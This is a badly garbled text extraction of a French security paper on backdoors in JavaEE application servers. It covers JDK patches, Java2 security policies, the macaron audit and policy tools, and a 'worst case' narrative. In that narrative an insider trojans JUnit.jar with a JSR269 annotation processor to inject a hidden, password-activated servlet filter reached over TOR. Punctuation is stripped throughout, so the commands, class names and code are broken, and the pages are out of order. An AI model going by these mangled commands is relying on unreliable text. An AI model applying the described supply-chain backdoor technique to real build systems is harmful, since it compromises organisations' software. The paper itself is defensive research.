Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

